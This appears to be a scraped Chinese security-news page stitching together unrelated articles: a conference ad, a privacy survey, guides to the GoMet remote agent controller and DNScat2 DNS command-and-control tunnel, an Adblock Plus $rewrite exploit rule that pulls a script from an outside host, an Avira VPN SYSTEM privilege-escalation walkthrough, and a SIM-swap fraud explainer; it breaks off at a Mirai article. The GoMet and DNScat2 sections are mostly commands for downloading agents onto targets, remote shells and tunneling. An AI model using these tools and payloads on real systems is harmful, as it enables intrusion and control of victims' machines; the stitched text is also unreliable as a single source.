640.webp.jpg

每一年,我们都在挑战自己。
每一年,我们都在突破极限。
每一年,我们在无界的世界里奋力成长。

成长无界 BE BETTER

2019 ASRC生态大会

活动时间:

2019年4月19日

活动地点: 

杭州 西溪宾馆

大会主议程:

640.webp (1).jpg

上午是妙趣横生的主会

下午是多元化的分论坛

高校闭门研讨会

XSRC运营工作闭门讨论会

白帽子技术沙龙

白帽子技术沙龙议程如下:

640.webp (2).jpg

活动亮点

ASRC生态大会以构建最多元最活跃的安全技术生态圈为宗旨,促进安全技术的研究交流和安全人才的产学研合作。同时以生态交融为目标,创造国际化、多元化、专业化的合作新机遇,为生态伙伴创造运营机会,共建共享多元生态价值,吸引更多生态伙伴加入。

生态共融 

业内优秀白帽子、各家SRC工作人员、高校师生以及安全企业的从业者齐聚大会现场,安全技术交流碰撞,共同探索未来合作的更多可能。

国际共建 

大会邀请国际白帽、国际安全企业共同参与,同时本届大会今天新增SRC国际化运营工作讨论环节。期待国内外技术、文化的融合,为生态伙伴创造运营机会,共建共享多元生态价值。

专业共享 

本届大会首次开展高校闭门研讨会,定向邀请高校老师与企业进行深入探讨交流,促进安全人才的产学研合作。

640.webp (3).jpg

你准备好参加一场穿越盛会了吗?

外场是豪迈热闹的宋街市井巷道

酷炫硬气的兵器铺,清新佛系的茶坊

诊治先进的古医馆,现场打擂的武馆

…….

640.webp (4).jpg

他们分别代表阿里经济体哪一环,你猜得到吗?

活体印章墙如何篆刻使用,你猜得到吗?

非物质文化遗产高手挥舞技能,你猜得到吗?

内场穿越到了哪里,你猜得到吗?

更多好奇,请在4月19日,西溪宾馆,一一揭秘!

成长无界 BE BETTER

等你前来探索!

近日,Gartner的一项调查,针对98个行业的不同地区的高级管理人员进行了调查统计,结果显示,在网络安全方面,“加速隐私监管”的优先级已经超过了“人才短缺”,成为了2019年第一季度的风险监测调查中的最新风险。

针对隐私法的不同意见一直以来都在全世界范围内不断传播,随着GDPR的实施,越来越多的企业高管开始意识到了隐私法规的重要性,同时也意识到了在这方面需要花费的人力物力财力远大于预期。为了积极响应隐私法,各地也不断出台新规定,作为企业来说,需要遵守的法规越来越多,条例也越来越具体,日常运营如履薄冰。

Gartner管理副总裁兼风险实践负责人Matt Shinkman表示,法律和信息安全行业的预算基本都用于解决GDPR合规问题,加利福尼亚州生效的消费者隐私法案(CCPA)就是个很好的例子。

gatner-privaci-reg-Q12019.jpg

最近的四个季度风险级别最高的五个威胁

调查中,64%的受访者表示加速隐私监管是他们所处的企业机构当前最大的问题。数据显示,银行、金融服务、科技、电信、食品等行业,对这方面的关注度尤其高,并且每个行业都至少有70%的受访人表示这是他们当下处理的第一优先级事物。

新旧隐私法

前文提到的CCPA是以GDPR为蓝本制定的最新隐私法规之一,该法规自2018年起正式生效。

随着近日澳大利亚和日本相继颁布新隐私法,法规的种类越来越多,然而,由于全球经济趋于一体化,分散的隐私数据监管环境则更不利于企业合规。

Shinkman表示:“我们看到了GDPR带来的影响以及某些事物的改变。现在这些企业高管所担忧的问题正是他们一直以来需要解决的,能够最大程度的让他们意识到自己的问题也有助于改善其数据安全治理策略。”

GDPR在这个过程中,只是起点而非终点。

数据显示隐私问题的严重性

除了被评为本季度最大安全风险之外,加速隐私监管还成为了“增长速度最快”的安全威胁。这意味着如果不能顺利实施,这将对企业造成极大的影响。

这同样也暗示了企业高管们应当对违反GDPR和类似法规的行为采取谨慎态度。

加速隐私监管还被评为了本季度报告中排名前十的风险中出现概率最高的那个,这也说明各大企业都需要将这个问题正确对待,及时处理。

调查中所提及的其他风险也可能让企业高管们感到不安,现在攻击技术的迭代频率远高于从前,已经无法指望传统的安全手段给企业带来保障,所以“过快的变革”这成为了一种脱离技术手段的新型威胁。

这么形容表明了企业高管们对这些即无法避免也无法改变进程的因素感到不安,这也是数字化带来的最大问题。关于数字化过快导致技术滞后所带来的风险,基本都在安全威胁统计的前列,其中,也包括过时的安全政策和程序。

上一季度的最大威胁是安全人才短缺,在本季度排名第三位。不断变动的风险威胁也可能对企业在合规过程中带来不小的挑战,其中既包括技术更新,也包括人员配置,还需要兼顾不同的法律法规,这大大增加了企业的生存难度。

*参考来源:helpnetsecurity,Karunesh91编译,转载请注明来自FreeBuf.COM

GoMet是一个Go编写的多平台Agent和控制器。Agent通过TLS隧道与其控制器通信。

构建

安装 Go (https://golang.org/dl/).

克隆存储库

git clone [email protected]:gomet-app/GoMet.git

并编译 GoMet

cd GoMet
go build ./...
go build .

基础使用

启动 GoMet

#> ./gomet


    ____       __  __      _
   / ___| ___ |  \/  | ___| |_
  | |  _ / _ \| |\/| |/ _ \ __|
  | |_| | (_) | |  | |  __/ |_
   \____|\___/|_|  |_|\___|\__|
                                     v0.0.1

server > info
Local listener: 0.0.0.0:8888
Socks listener: 127.0.0.1:9050
HTTP magic: khRoKbh3AZSHbix
server >
server > help

Commands:
  clear         清屏
  exit          退出
  generate      生成一个 agent
  help          显示帮助信息
  info          打印服务器信息
  routes        列出 routes
  sessions      列出 sessions

在目标系统上,下载相应操作系统和架构的Agent程序

wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

控制器会自动使用正确的信息来构建 agent。

注意:“khRoKbh3AZSHbix”是由控制器随机生成的,在GoMet CLI中键入“info”以了更多关于它的内容。在本用例中,你必须添加 –no-check-certificate选项,因为默认TLS证书是自动签名的。

可用操作系统(参见 Golang GOOS):

linux
darwin
windows
solaris
...

可用架构(参见 Golang GOARCH):

386
amd64
arm
arm64
...

启动 agent

chmod +x agent
./agent

在 GoMet CLI 中,我们可以看到创建的新会话

server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64

会话交互

server > sessions open 1
session 1 > help

Commands:
  cat           打印文件
  clear         清屏
  close         关闭 session
  connect       连接一个本地端口到远端地址
  download      下载文件
  execute       执行命令
  exit          返回到服务器
  getuid        获取用户 Id
  help          显示帮助信息
  jobs          列出 jobs
  listen        连接一个远程端口到本地地址
  ls            列出文件
  netstat       列出连接
  ps            列出进程
  pwd           获取当前目录
  relay         中继侦听
  shell         远程shell交互
  streams       列出数据流
  upload        上传文件


session 1 >

TCP 转发

我们可以通过 agent TLS tunnel 双向转发 TCP 连接。

connect

在本地侦听端口(在控制器系统上)并将其转发到远程服务。

listen

在远程侦听端口(在代理系统上)并将其转发到本地服务。

Socks5 和 routing

我们可以在控制器上启用 Socks5 listener,以通过 agents 访问远程网络,并定义到不同会话的路由。

做一个中继

如果无法从目标系统访问控制器,我们可以在另一个 agent 上定义“中继”。 然后我们可以像控制器本身一样通过中继访问控制器。

session 1 > relay
Remote Address: 0.0.0.0:9999
session 1 >

并从目标系统

wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

与控制器共享文件

控制器可以共享文件。

复制共享目录中的文件并使用 magic URL 下载

wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate

我们还可以将文件上传到控制器

wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file

使用 CLI 生成 agent 

server > generate
OS: windows
Arch: amd64
Host: <controller>:8888
HTTP proxy:
HTTPS proxy:
Proxy username:
Proxy password:
Generated agent URL: https://<controller>:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat
server >

配置文件

默认配置文件位于 config/config.json 。

{
  "listenAddr":"0.0.0.0:8888",

  "socks": {
    "enable": true,
    "addr": "127.0.0.1:9050"
  },

  "api": {
    "enable": false,
    "addr": "127.0.0.1:9000"
  }
}

定义 tunnel

如果我们想通过隧道侦听,我们可以在配置文件中定义它。 实际上只有SSH。

{
  "listenAddr":"0.0.0.0:8888",

  "socks": {
    "enable": true,
    "addr": "127.0.0.1:9050"
  },

  "tunnel": {
    "listenAddr":"<exit_node>:8888",
    "nodes": [
      {
        "type":"ssh",
        "host": "<first_node>:22",
        "username": "user",
        "password": "user"
      },
      {
        "type":"ssh",
        "host": "<second_node>:22",
        "username": "user",
        "password": "user"
      },
      {
        "type":"ssh",
        "host": "<exit_node>:22",
        "username": "user",
        "password": "user"
      }
    ]
  }
}

自定义 TLS 证书

在 config 目录中会生成一个默认证书,但你也可以用你自己的证书来替换它。

注意:一旦更改了默认证书,则将重建所有 agents,因为证书的哈希值不同。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

国外安全专家Sebastian近日发现Adblock Plus、AdBlock和uBlocker浏览器扩展的广告拦截过滤器列表存在漏洞,攻击者可以利用该漏洞运行恶意代码,可窃取用户的cookie、登录凭据、进行页面重定向或其他恶意行为。受影响的扩展拥有超过1亿活跃用户,并且该功能可以轻松利用以攻击任何足够复杂的Web服务(如Google服务),而攻击很难检测并且可以在所有主流浏览器中实现。

Ad-Blocker

“$ rewrite”语法

一个广告屏蔽插件通常分为两个部分:插件本身和订阅列表。订阅列表包含对于各类恶意网址、广告或者插件的屏蔽信息,大多都支持正则表达式。而插件本身则在读取这些订阅列表后进行相应的操作,比如浏览器连接到列表中的网址或者阻止恶意广告和脚本。

举个例子,下方是热门的订阅过滤器EasyList的内容:

easylist

2018年,Adblock Plus 3.2发布时,添加了一个名为$ rewrite 新语法,允许列表维护者将与特定正则表达式匹配的Web请求替换为另一个URL。替换字符串必须是相对应的URL,不包含主机名,并且在重写时必须与原始请求位于同一域中。

举个例子,在订阅列表中添加以下过滤规则可将example.com/ad.gif的所有请求都替换为example.com/puppies.gif。因此,页面上的对应位置不会显示广告,而是更换为小狗照片。

||example.com/ad.gif$rewrite=/puppies.gif

由于重写的URL必须与原始URL位于同一源,并且必须是相对URL,因此以下$ rewrite 实例是无效的。

||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js

在新增该语法之处,开发者考虑到了可能引发的安全隐患,所以当重写的对象为SCRIPTSUBDOCUMENTOBJECTOBJECT_SUBREQUEST时,该语法失效。

那么在这些限制的加持下,如何利用该语法运行恶意代码?

XMLHttpRequest和Fetch

当使用XMLHttpRequest或Fetch下载代码并执行时,可以利用此过滤器语法使用Web服务,同时允许请求任意来源并于服务器端开放重定向。这样的攻击难以检测,因为该扩展插件会定期更新过滤器列表,只要该列表的维护人员为恶意过滤器列表设置一个较短的过期时间,然后将其替换为没问题的过滤器列表。

要利用该漏洞需要满足以下条件:

  1. 页面必须使用XMLHttpRequest或Fetch加载JS字符串并执行返回的代码;

  2. 页面不能严格部署了CSP策略,或者在执行下载的代码之前不能验证最终请求URL;

  3. 获取代码的来源必须支持服务器端的重定向或者内容托管。

关键就是使用XMLHttpRequest或Fetch来下载脚本和打开重定向功能,使得攻击者能够从远程站点通过XMLHttpRequest读取脚本,而此时对于插件而言看起来仍是同一个来源。

比如访问量非常大的Google Maps站点就可以利用XMLHttpRequest加载脚本,因为它的搜索结果页面中包含一个开放重定向:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

根据上述规则,当用户访问www.google.com/maps/时,过滤规则将使用Google开放重定向来读取https://majestic-ramsons.herokuapp.com/的内容。

运行远程脚本

由于打开的重定向url位于同一个源或域中,允许读取字符串并将其作为JavaScript执行,导致警报:

远程脚本显示警报

风险与后续

虽然更改过滤器页表的方法有很多,这不是最严重的一个,但Sebastian担心别有用心的列表维护者会利用该漏洞发起难以检测的针对性攻击,比如2018年,一个不署名的列表维护者因为政治原因该写了某个订阅列表,导致大量声援抗议活动的工会网站在该广告屏蔽插件的作用下出现问题。

Sebastian向谷歌报告了该漏洞,但谷歌坚称开放重定向是他们一贯的立场:

Google已收到有关此漏洞的通知,但该报告已作为”预期行为“被关闭,因为他们认为潜在的安全问题仅存在于上述浏览器扩展中。

实际上该漏洞可以用于一系列供应链攻击,Sebastian建议网站使用CSP标头和connect-src选项来指定可以从中加载脚本的站点的白名单,以降低安全风险。

*参考来源:

1.jpg

基本信息

产品版本:Avira Phantom VPN

下载地址:【点我下载

操作系统:Windows 10 v1709(x64)

漏洞信息:Avira VPN提权漏洞

漏洞概述

AviraPhantom VPN服务平台在检查更新时会进行大量的检测,在更新过程中,VPN服务会将更新文件下载到“C:\Windows\Temp\”目录,存储的文件名为AviraVPNInstaller.exe。

接下来,程序会验证该文件的签名,如果版本号不符合更新条件(版本号低于当前版本),则会停止更新。如果条件符合,服务会以SYSTEM权限运行更新代码。

但我们可以使用一个已签名的有效Avira可执行文件来替换这个“AviraVPNInstaller.exe”,然后在“C:\Windows\Temp”中存放一个恶意DLL文件并最终实现提权(NT AUTHORITY\SYSTEM)。

漏洞分析

当Avira VPN服务(Avira.VPNService.exe, 版本号为2.15.2.28160)开始运行后,它会检测是否有可用更新:

2.png

应用程序服务会从“C:\Windows\Temp”目录中获取下载下来的更新文件:

3.png

可能大家已经发现了,任何一名通过身份验证的用户都可以向“C:\Windows\Temp”目录写入文件(但无法读取文件)。当该目录中已经存在有更新文件(C:\Windows\Temp\AviraVPNInstaller.exe)时,VPN服务会检查更新文件的“FileVersion”属性,以此来判断这个更新文件是否已经在这台设备上安装过了:

4.png

如果文件版本表明该更新没有安装过,服务将会对文件的有效性以及文件签名进行验证:

5.png

如果文件确实有效,并且由Avira签名,那么VPN服务将会开启更新功能。因为这一切都是低权限用户可以做到的,所以攻击者就有可能劫持软件更新包,并进行数据篡改。

为了劫持“AviraVPNInstaller.exe”,攻击场景必须满足下列条件:

1.“AviraVPNInstaller.exe”必须由Avira签名;

2.“AviraVPNInstaller.exe”的签名必须有效,对文件进行的任何修改都将导致签名失效;

3.“AviraVPNInstaller.exe”的版本号验证结果必须是“该更新未在主机上安装过”。

这也就意味着,我们需要想办法利用Avira的已签名文件,并且版本号要高于当前产品。

研究半天之后,我们发现了“ToastNotifier.exe”,它正好符合我们的要求:

6.png

注:ToastNotifier.exe来自于Avira反病毒产品套件中。

接下来,我们要做的就是把“ToastNotifier.exe”拷贝到“C:\Windows\Temp\AviraVPNInstaller.exe”。因为一切条件都满足,当服务启动后VPN服务会以SYSTEM权限运行这个可执行文件,这一步可以通过重启或以管理员权限运行下列命令来完成(PowerShell):

Get-ServiceAviraPhantomVPN | Stop-Service

Get-ServiceAviraPhantomVPN | Start-Service

执行之后,“ToastNotifier.exe”将会尝试加载“C:\Windows\temp”目录中的恶意DLL文件:

7.png

为了实现SYSTEM提权,我们要做的就是提供上面这些DLL文件。这里,我们使用“cryptnet.dll”(包含了我们的恶意代码),它可以帮助我们让VPN服务以SYSTEM权限启动“AviraVPNInstaller.exe”代码,然后以SYSTEM权限加载“cryptnet.dll”,最终实现低权限用户提权为SYSTEM权限。

8.png*参考来源:enigma0x3,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

360截图16280728818780.jpg

SIM卡交换诈骗事件回顾

2018年7月12日,美国的加利福尼亚警方逮捕了一名大学生——Joel Ortiz,该学生攻击了数十个手机号码,窃取了总额超过500万美元的加密货币。这是首例被报道的人为涉嫌使用日益流行的SIM卡交换技术或SIM卡劫持窃取比特币、其他加密货币以及社交媒体账户的案件。Ortiz和他的同伙专门针对那些涉足加密货币和区块链的人。

紧接着,2018年8月15日,美国投资者Michael Terpin向AT&T提起了一起价值高达2.24亿美元的诉讼。因为他认为这家电信巨头向黑客提供了访问他手机号码的途径,从而导致了一场重大的加密货币盗窃事件的发生。Michael Terpin是一位总部位于波多黎各的企业家,他也是TransformGroup inc .的首席执行官,同时他还是BitAngels(面向比特币投资人的天使团队)和数字货币基金BitAngels DApps Fund的联合创始人。Terpin声称他在7个月的时间里遭遇了两次黑客攻击,这直接导致他损失了价值2400万美元的加密货币:他向加州律师事务所Greenberg Glusker提交的长达69页的起诉书中提到了两起分别发生在2017年6月11日和2018年1月7日的黑客攻击案件。根据该文件显示,两次黑客攻击中AT&T都未能保护他的的数字身份。

SIM卡交换诈骗:电信供应商与金融账户之间的关系?

所谓的SIM卡交换技术,就是通过欺骗电信提供商,将目标手机号码转移到犯罪分子控制的SIM卡上。一旦犯罪分子控制了目标的手机号码,犯罪分子就可以利用它来重置受害者的密码并登录他们的在线帐户(加密货币帐户和金融账户是最常见的目标)。简单来说,“SIM 卡交换”是一种复杂的社会工程学攻击,别有用心者会收集特定目标的身份识别信息,以便向运营商证明“我就是你”。所以在这种情况下,即使帐户受双重身份验证保护,这种方法仍然有效。去年的一项调查显示,这种攻击也被称为“端口诈骗(port out scam)”,相对容易操作并且已经非常普遍。

SIM卡交换是一个引导电信供应商的过程,比如T-Mobile将被攻击目标的手机号码转移到了攻击者所持有的SIM卡上。一旦黑客收到手机号码,他们就可以用来重置受害者的密码并侵入他们的账户,这其中就包括了加密货币交易所的账户。

目前,美国执法部门已经将 “SIM卡交换诈骗”作为打击加密货币欺诈的“重中之重”。

根据卡巴斯基实验室近一年的追踪,像这样的攻击现在很普遍,网络犯罪分子利用“SIM卡交换诈骗”不仅窃取凭证并捕获通过短信发送的OTP(一次性密码),而且还对受害者造成财务损失。

如果有人窃取了你的手机号码,你将面临很多问题,特别是因为我们的大多数现代双因素身份验证系统都基于可以使用此技术拦截的SMS。犯罪分子可以通过密码重置发送到你的手机劫持你的帐户。除了以上所说的加密货币和银行账户劫持外,更糟糕的是,他们可以使用被劫持的号码来攻击你的工作电子邮件和文档。

“SIM卡交换诈骗”对新兴的移动支付的影响

移动支付现在在发展中国家很大,基于移动手机的汇款允许用户访问融资和小额融资服务,并通过移动设备轻松存取,提取和支付商品和服务。但是现在这些移动支付遭受了有史以来的最大一波攻击,因为所有这些攻击都是由大规模进行的SIM卡交换欺诈所驱动的。

以巴西和莫桑比克为例,这两个国家的SIM卡交换欺诈率很高,这两国都讲同一种语言(葡萄牙语)并面临同样的问题。通过使用社会工程甚至简单的网络钓鱼攻击,欺诈者控制客户的手机号码以接收移动货币交易,或收集家庭银行OTP以完成资金转移或窃取用户的钱。

在本文中,我们将详细介绍非常有组织的网络犯罪如何发展自己的欺诈生态系统,以及莫桑比克如何解决SIM卡交换欺诈计划中的资金被盗问题,其中移动支付是日常生活的重要组成部分。

网络犯罪分子是如何进行“SIM卡交换诈骗”的?

诈骗开始于欺诈者通过使用网络钓鱼电子邮件,通过底下黑市购买相关信息,进而通过社会工程或在数据泄漏后获取信息来收集有关受害者的详细信息。一旦欺诈者获得了必要的信息,他们就会联系受害者使用的移动电信运行商。欺诈者使用社交工程技术让电信运行商将受害者的手机号码移至欺诈者自己的SIM卡上,例如,冒充受害者并声称他们丢失了手机。最后,他们要求在新的SIM卡上激活此号码。

此时,受害者的手机就会失去与网络的连接,且欺诈者将接收针对受害者的所有SMS和语音呼叫。这允许欺诈者拦截通过短信或致电受害者的手机发送的任何一次性密码,并最终使用基于SMS或手机呼叫认证的所有服务。

研究人员发现,移动运营商使用的安全保护流程很脆弱,使SIM卡交换攻击很容易进行。例如,在某些运行商的流程中,为了验证你的身份,运营商可能会要求客户提供一些基本信息,例如全名,出生日期,最后一次充值凭证的金额,号码的最后五个数,等等。但实践中,欺诈者完全可以在社交媒体上找到这些信息或使用TrueCaller等应用程序根据号码获取来电者姓名。

不过攻击者的目标有时是运营商,而不是个人。当运营商在小城市的分支机构工作的员工有时无法识别欺诈性或掺假的文件时,就会发生这种情况,尤其是位于报刊亭或购物中心的分支机构,这使得欺诈者能够激活新的SIM卡。

另外,诈骗者有时会贿赂内部人员,每激活一张SIM卡支付10至15美元。当欺诈者发送旨在窃取运营商系统凭据的网络钓鱼电子邮件时,会发生最严重的攻击。具有讽刺意味的是,大多数这些系统都不使用双因素身份验证。有时,此类电子邮件的目标是在运营商的网络上安装恶意软件,所有欺诈者只需要一个凭证,就能进入运营商的系统。

针对着名名人或政客的SIM卡交换可能需要花费数千美元,这些费用在地下黑市都明码标价:

1.jpg

网络犯罪分子对此类攻击非常感兴趣,其中一些人决定将其作为一项服务出售给其他人。通常情况下,罪犯可以在两三个小时内毫不费力地实施攻击,因为他们已经进入了运营商的系统或跟内部腐败人员打好了招呼。

2.jpg

如何知道你的手机发生了“SIM卡交换”攻击

当你的手机在信号很强的地方突然没有信号了,且时间很长,就表示可能有威胁了。

3.jpg

上图是本文的作者去年在一家巴西酒店出差时,大约有30分钟,手机突然失去了连接功能的截图。

经过多番努力无果后,他尝试重新启动设备并再次试图与运营商连接,但还是没有成功。之后通过向运营商的客服人员询问,才知道有人报告此号码“丢失或被盗”,并要求在另一张SIM卡上激活它。

对WhatsApp的攻击目前非常猖獗

WhatsApp是许多国家中最受欢迎的即时通讯工具,巴西的欺诈者使用该应用程序在一项名为“WhatsApp克隆”的攻击中实施诈骗。在SIM卡交换之后,罪犯所做的第一件事就是加载WhatsApp和所有受害者的聊天记录和联系人。然后他们开始以受害者的名义发送消息,比如假装被绑架情况,要求对方立即付款。

还有一些攻击是专门针对公司高管们的,在SIM卡交换之后,联系财务部门转账。

4.png

巴西的SIM卡交换攻击示例

在2013年Nubank(虚拟信用卡)在巴西成功推出之后,如Banco Inter,Next,Digio和Neon相继出现,他们都与数字帐户绑定,且仍然依靠通过SMS进行双因素身份验证。这就为欺诈者实施SIM卡交换提供了方便。

欺诈者进行SIM卡交换后,在另一张SIM卡上激活了受害者的号码。一旦获得此访问权限,欺诈者就会以受害者的名义使用应用程序中发布的信用卡进行多次非法操作。

莫桑比克的SIM卡交换攻击示例

而在莫桑比克,微型金融服务非常发达,使用者仅需要一部手机即可搞定一切。

像M-Pesa这样的移动支付系统在非洲产生了巨大的影响。在莫桑比克,每年约有50亿美元通过该平台进行交易,相当于该国GDP的约41%,而在肯尼亚这样的成熟和人口稠密的市场,这一数字高达330亿美元,占GDP总量的48%。

大多数本地银行依赖于一次性密码(OTP),许多人是不使用物理或软件令牌,因为这会增加客户的成本和复杂性,特别是那些低收入的客户。

手机诈骗的趋势在上升

随着金融包容性服务在发展中国家的发展,欺诈者越来越猖狂。大多数SIM卡交换欺诈都是内外勾结的结果。比如银行员工负责提供有关帐户余额的信息以及有关受害者的详细信息。有了这些信息,欺诈者就会进行网络钓鱼或SMmiShing攻击,以访问受害者的在线银行账户及其验证码。

在攻击开始,由于银行使用短信进行OTP,犯罪分子需要进行SIM卡交换或SIM卡劫持,将所有受害者的通信重定向到他们所拥有的新SIM卡。为实现这一目标,运营商的一些员工负责激活手机号。

解决方案

银行可以在48-72小时内,禁止更换SIM卡的手机号码进行任何交易

当SIM卡被劫持时,欺诈者很可能会在SIM卡交换后几分钟内,快速从银行账户转移资金,以防止受害者有足够的时间向移动运营商投诉并重新控制该号码。

在SIM卡交换后用户号码被阻止后,受害者通常认为存在网络问题,只有当他们发现附近的其他人仍然有网络连接时,他们才决定去了解发生了什么。这中间就会浪费很多时间。

以莫桑比克为例,莫桑比克的所有移动运营商都为银行提供了一个平台,该平台使用一个私有API,如果SIM卡交换涉及一个特定的手机号码,且该号码与一个银行账户关联的时间超过了预先设定的时间,该API就会发出警告。然后银行决定下一步做什么。

大多数银行禁止在过去48小时内更换SIM卡的手机号码进行任何交易,而其他银行则选择72小时的更长时间。48-72小时的时间被认为是安全时间,在此期间,如果用户是未经授权更换SIM卡的受害者,他们将与运营商联系。

平台工作流程的安全设置

银行如果通过VPN连接到不同的移动运营商,因此所有的流量都是安全的。在线银行系统向相应的移动运营商进行REST API查询,并将移动电话号码(MSISDN)和时间段(24-72小时)作为参数。

如果查询为False,则银行允许正常交易。如果为True,则银行会阻止交易,并可能会请求其他步骤来验证交易。需要注意的是,移动运营商不会与第三方(即银行)共享个人身份信息(PII)。

一旦平台工作流程实施,源自SIM卡交换攻击的网上银行欺诈就会急剧下降。不过目前,还几乎没有涉及实施反SIM卡交换平台的银行的案例。

必须避免以语音和短信作为真实身份的验证机制

以上说的两种措施都是临时解决方案,终极解决方案是必须避免以语音和短信作为真实身份的验证机制。

移动运营商依赖于旧协议进行通信,比如7号信令系统(signal System No. 7)或SS7,该系统最初是在上世纪70年代开发的。该协议存在安全漏洞,允许截取SMS消息或语音通话。按照今天的标准,如果你想保护银行账户等高价值信息,手机/短信不再被认为是一种可靠的安全方法。2018年,Reddit的一次攻击就给大多数公司敲响了警钟。根据Reddit的说法,黑客攻击发生在2018年6月14日到2018年6月18日之间,当时一名黑客利用基于SMS的双因素身份验证(2FA)通过短信拦截来入侵其部分员工的账户。然后,黑客设法从2007数据库备份和一些Reddit用户的当前电子邮件地址访问旧的 salted 和 哈希密码。

而且美国国家标准与技术研究院(NIST)也明确要弃用以双因素验证的方式来保护SMS的安全,如果可能,我们建议用户选择其他方式,例如在移动应用程序中生成OTP(如谷歌Authenticator)或使用物理令牌。

生物识别技术的应用

一些运营商已经实现了额外的安全机制,要求用户通过语音生物识别,使用诸如“我的语音就是我的密码”之类的口令进行身份验证。这项技术非常安全,甚至可以检测语音是否为录音,或者用户是否患有流感。然而,它被认为是一个昂贵的解决方案,特别是对于新兴市场,并且需要一些额外的努力来集成后端系统。

自动短信服务

当请求SIM更改时,运营商可以自动进行消息通知:“你的号码将从此SIM卡停用。”以提醒所有者已经有SIM更改请求。不过,这不会阻止劫持的发生,只会提醒用户,以便他们在恶意活动的情况下能够更快地做出响应。

在WhatsApp上激活2FA

为了避免WhatsApp被劫持,使用设备上的六位数PIN激活2FA至关重要。如果发生劫持事件,你将拥有另一层不易绕过的安全层。

不要在TrueCaller等类似应用中公开自己的信息

Truecaller是一款帮助用户将那些骚扰电话或者不想接的电话全部屏蔽的软件,但是,正如我们之前提到的,欺诈者使用此工具来查找有关目标的更多信息。因此,请不要在TrueCaller等类似应用中公开自己的信息。

介绍DNS

域名系统将URL和IP地址关联起来。有了DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。

当你在浏览器中输入域名访问网站时,它首先会向DNS服务器发送请求来查找域名对应的IP地址。找到IP地址之后,就会通过IP定位到对应的服务器然后获取网站的内容。令人惊讶的是,这整个过程仅仅只需要几毫秒。DNS默认是运行在53端口上。

介绍DNScat

DNScat堪称神器,因为它可以通过DNS协议创建C&C隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个shell。这个工具也是基于53端口的,所以你不需要对DNS服务器进行权威访问,只要通过53端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。

DNScat有服务端和客户端两个组件。要理解DNScat的工作原理,需要先了解这两个组件。

客户端是要安装在目标机器中并且保持着运行状态。它是用C语言编写的,满足最少的基本条件就可以运行。当你运行客户端时,你需要指定一个域名。因为所有数据包都会发送到本地DNS服务器上,然后会发送到合法的DNS服务器来查询域名(显然,这个域名是你可以控制的)。

服务端要在一个通用的DNS服务器上运行。它是基于ruby开发的,并且依赖于一些独特的gems。当你运行这个服务端时,跟客户端类似,你需要指定它通过53端口监听哪些域名。当它接收到其中一个域名的流量时,它就会尝试着去建立一个合法的连接。如果接收到其他流量,它也会自动忽略不管,当然,你也可以在上游进行转发。

安装

运行下面这条git命令来下载DNScat2:

git clone //github.com/iagox86/dnscat2.git

1.png

接下来安装bundler,因为它是DNScat2的一个主要依赖环境。要安装这个依赖,先进入到DNScat2的服务端目录,然后执行下面两条命令:

gem install bundler
bundle install

2.png

安装完依赖环境之后,执行下面这条命令来启动服务端:

ruby dnscat2.rb

3.png

同样地,在客户端主机上下载DNScat2,然后用make命令来编译,如下图:

4.png

要让客户端和服务端通信,执行下面这条命令即可:

./dnscat2 --dns-server=192.168.174.131,port=53

5.png

一旦连接建立起来之后,你可以在服务端看到存在一个会话,如下图。你可以用”sessions”命令来查看已经创建的会话。

6.png

要进入刚才建立的session并与其交互,执行下面这条命令:

session -i 1

现在你已经进入该session了,你可以使用”ping”命令来ping目标,如果收到回复”pong”,那么你的ping命令就执行成功了。

7.png

下图是客户端ping命令的响应:

8.png

此外,可以输入help命令来查看我们可以执行的所有命令和选项。如果你想进入shell,只要输入”shell”命令即可,它就会开启一个新的窗口,进入到目标系统的shell中。

9.png

与新的终端中打开的shell会话中进行交互,输入下面这两条命令:

windows
session -i 2

10.png

当你进入session之后,你可以执行任意的shell命令,比如”uname -a”,如上图所示。

DNS隧道技术

DNScat2最好的一种攻击方式就是DNS隧道技术。如果在你的目标系统中执行ifconfig命令,有两个网络的话,如下图所示,那么执行DNS隧道技术就非常容易了。

11.png

建立DNS隧道转发,先执行以下命令:

listen 127.0.0.1:888 10.0.0.10:22

12.png

然后你就可以通过888端口来进行SSH连接了,命令如下:

ssh [email protected] -p 888

连接成功之后,你就可以使用’ifconfig’命令来查看你刚才进行隧道转发的网络,如下图所示:

13.png

由于你已经SSH连接到了第二个网络中,你也可以在这个网络中下载DNScat2,以便进行攻击。当你在这个网络中下载好了DNScat2,输入下面这条命令来执行,然后在你的DNScat2服务端去查看会话:

dnscat2.exe --dns+server+192.168.174.131,port+53

14.png

执行成功之后,你会获得一个新的会话,你可以通过sessions来查看会话,并且输入会话id来进入某个会话:

sessions
session -i 2

进入会话之后,你就可以执行任意命令了。

15.png

而且你还能够执行systeminfo命令,这会显示第二个系统的详细信息,也就是你通过隧道技术拿到权限的系统。

16.png

总结

即使是在限制非常严格的情况下,DNS流量也应该是允许放行的。我们就可以利用DNS隧道技术在目标主机和我们的C&C服务器之间建立连接。命令和信息都包含在DNS查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。DNScat也正是利用了这一点才成为了一个非常不错的攻击工具。

概述

2019年2月底,unit 42研究人员发现了新出现的为新处理器架构编译的Mirai样本。虽然Mirai的源码在2016年就公开了,但是它的攻击目标是特定的一批处理器架构集。

